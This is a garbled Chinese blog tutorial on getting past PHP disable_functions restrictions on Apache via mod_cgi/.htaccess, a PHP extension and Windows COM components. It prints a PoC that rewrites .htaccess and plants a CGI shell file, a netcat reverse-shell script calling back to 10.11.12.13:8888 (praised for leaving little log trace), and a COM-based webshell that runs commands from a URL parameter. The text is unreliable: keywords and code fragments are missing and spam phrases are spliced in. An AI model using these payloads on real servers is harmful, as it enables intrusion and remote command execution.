第一個條件最好滿足,因為我們就是+php5的環(huán)境;第二個就是
2023-04-24
第一個條件最好滿足,因為我們是+php5環(huán)境;
再來看第二種情況:
默認(rèn)情況下安裝模塊后,它將被啟用。 您可以使用以下命令查看已安裝的模塊:
httpd - M
真的嗎? 下面我們看一下官方文檔。
()
根據(jù)描述網(wǎng)站建設(shè),函數(shù)如下:
任何具有 mime 類型 /x--cgi 或由 cgi-(1.1 或更高版本)處理的文件都將被視為 CGI 腳本并由服務(wù)器運行,其輸出將返回給客戶端。 有兩種方法可以使文件成為 CGI 腳本,或者文件具有指令已經(jīng)定義的擴展名,或者文件位于目錄中。
其實很簡單:模塊就是在服務(wù)器上運行cgi腳本文件或者自定義格式的腳本文件,并返回輸出。
第三個條件和第四個條件都是關(guān)于的。 一起來看看吧。
首先,第四個條件是文件可以寫入。 這很簡單。 一般在指定的web目錄下啟用該文件。 我們都可以在web目錄下創(chuàng)建文件,寫文件自然就簡單了。
至于第三個條件。 該文件是否生效取決于配置文件中指定web目錄下參數(shù)值的設(shè)置。
當(dāng)設(shè)置為無時,. 文件被完全忽略。 當(dāng)此指令設(shè)置為 All 時,所有帶有“.”的指令。 中允許的范圍。 文件。
這里我直接把配置文件的web目錄下的參數(shù)設(shè)置為ALL。
可能有人會說這個設(shè)置有點囧,它不是默認(rèn)配置!
先來看看官方文檔介紹(#)
其中提到:2.3.8及之前的版本,參數(shù)默認(rèn)值為ALL
2.3.9版本后才改為None,影響范圍還是比較大的。 但是,目前沒有。 文件在我的網(wǎng)站目錄中。 這實際上并沒有影響它,這將在后面解釋。
好吧,這里我們已經(jīng)滿足了所有 4 個條件apache運行php文件,讓我們嘗試重現(xiàn)它。
開始繁殖
這里直接使用的poc。
.php
\n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener "; //call the script } } ?>
將php文件直接上傳到web目錄下,執(zhí)行反彈命令,我們打開監(jiān)聽服務(wù)器的指定端口,然后嘗試訪問該文件。
反彈成功,可以執(zhí)行命令,繞過限制。
原因研究
下面分析一下為什么這個poc可以實現(xiàn)命令執(zhí)行?
.php簡單分析:
首先,它將反彈命令寫入 . 當(dāng)前目錄下的文件。 不知道這個后綴沒關(guān)系,后面會解釋。
下面是為檢查是否滿足指定條件而創(chuàng)建的函數(shù)。
然后檢查 url 中是否有字段,如果沒有嘗試創(chuàng)建一個 . 文件,然后重定向 url 以添加 ?=true。
接下來依次檢查:
1. mod_cgi 模塊是否啟用 2. 當(dāng)前目錄是否可寫; 3. . htaccess 文件是否可以生效;
如果不滿足,會報錯,不滿足使用條件。
接下來,備份原始 .file 并創(chuàng)建一個包含以下內(nèi)容的新 .file:
Options +ExecCGI\nAddHandler cgi-script .dizzle
創(chuàng)建一個.file,賦予權(quán)限777,最后通過js調(diào)用腳本在服務(wù)器上運行。
思路很清晰,創(chuàng)建的文件其實在服務(wù)器和瀏覽器上都能看到。
添加一個新的.fileapache運行php文件,看看里面的內(nèi)容
內(nèi)容是:
Options + ExecCGI AddHandler cgi - script . dizzle
指令含義見指令詳解()
這意味著允許該模塊執(zhí)行 CGI 腳本。
和 -。 這意味著后綴名為 . 調(diào)用cgi程序處理。
這與另一種配置非常相似,兩者之間有什么區(qū)別?
AddType 是與類型表相關(guān)的,描述的是擴展名與文件類型之間的關(guān)系,如: AddType application / x - x509 - ca - cert . crt 說明 .crt 擴展名的文件就是application/x-x509-ca-cert類型的; 在內(nèi)容協(xié)商時,如果客戶端需要是application/x-x509-ca-cert類型的,就將 .crt結(jié)尾的資源返回 注意: 經(jīng)過內(nèi)容協(xié)商的資源,在 http 相應(yīng)頭中有相應(yīng)的 Content - Location 說明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 說明什么樣的擴展名使用什么樣的程序來處理,描述的是擴展名與處理程序之間的關(guān)系 AddHandler cgi - script . cgi
簡而言之
就是定義什么樣的后綴名的文件對應(yīng)的文件類型
是定義了對應(yīng)什么樣的后綴文件
添加一個新的.file,里面的內(nèi)容是
頁面js調(diào)用。
好了,基本上復(fù)現(xiàn)成功就到這里seo優(yōu)化,原理也說明了。 理解它的最好方法是手動重現(xiàn)它。
使用
其實網(wǎng)上的資料很多,但是復(fù)發(fā)記錄的不多。 原因可能是默認(rèn)沒有安裝這個擴展,這種方式比較冷門。
擴展是為了讓 PHP 支持多線程操作而開發(fā)的。 默認(rèn)情況下,不安裝此擴展。
所以為了復(fù)現(xiàn),我們需要自己安裝擴展,這里需要用到(用于給PHP動態(tài)添加擴展,避免重新編譯安裝php),如果命令不存在或者執(zhí)行報錯,可以使用 yum 或 apt-get 安裝 php。
安裝擴展的時候記得下載和安裝的php同版本的源碼包。 如果找不到,就去PHP5博物館()找下載。
--安裝教程參考:
php5.5安裝擴展()
如何安裝php擴展()
請記住,需要從中刪除 php.ini。
安裝完成后,可以準(zhǔn)備兩個文件,上傳到web目錄下。
.php,核心是利用擴展函數(shù)執(zhí)行指定的腳本。
test.sh,由于腳本可以是腳本,比較靈活,建議直接反彈
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
此時,我們的遠程服務(wù)器開始監(jiān)聽并嘗試訪問 .php。
命令執(zhí)行成功,頁面錯誤沒有影響。 這樣使用的好處是此時不會有記錄,斷開連接時只有一條記錄。 遮瑕還行~
使用COM組件繞過,這是上層繞過的手勢之一。
繞過的姿勢可以在PHP 5.x系列中使用。 無奈之下,只能用我本機10重現(xiàn)了。 我還以為是9102年前。 這個姿勢可能無效。 測試了一下,還是可以的~
測試環(huán)境
操作系統(tǒng): Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函數(shù):symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
為了方便,我直接用搭建的環(huán)境,也配置好上傳了。 我可以查看文件,但無法執(zhí)行命令。
當(dāng)然,利用這個漏洞還是需要一定的條件的,因為是COM組件的問題,所以必須現(xiàn)在在php.ini中啟用相關(guān)的dll和配置,然后重啟。
extension = php_com_dotnet . dll com . allow_dcom = true
下面簡單介紹一下COM組件的用途:
COM 組件由作為 動態(tài)鏈接庫 (DLL) 或可執(zhí)行文件 (EXE) 分發(fā)的可執(zhí)行代碼組成。 按照 COM 規(guī)范編寫的組件將能夠滿足組件體系結(jié)構(gòu)的所有要求。 COM組件可以為應(yīng)用程序、操作系統(tǒng)和其他組件提供服務(wù); 自定義 COM 組件可以在運行時與其他組件連接以形成應(yīng)用程序; COM 組件可以動態(tài)插入應(yīng)用程序或從應(yīng)用程序中刪除。
重復(fù)過程
這里直接使用構(gòu)造好的poc
通訊.php
exec('cmd.exe /c '.$command); //調(diào)用對象方法來執(zhí)行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
然后嘗試訪問
http : //url/comm.php?a=whoami
嘗試查看當(dāng)前目錄 pwd
讓我們看看能不能玩計算器
真的可以,效果很棒,這種啟用COM組件的php站點簡直就是繞過殺手。
- 結(jié)論
好了,這里介紹了很多姿勢,雖然還有很多其他的姿勢沒有介紹,比如:
繞過(和類似的,需要安裝 imap 擴展)
黑名單功能繞過(使用冷門功能執(zhí)行命令)
perl 擴展安全模式繞過
分機旁路
...
有興趣的朋友可以自行復(fù)現(xiàn)體驗。 這里就不繼續(xù)補充了。 雖然在寫完這篇教程后在環(huán)境搭建上花費了很多時間,但還是收獲不少。 學(xué)無止境。 我覺得有些東西需要學(xué)習(xí)。 還有很多~
參考鏈接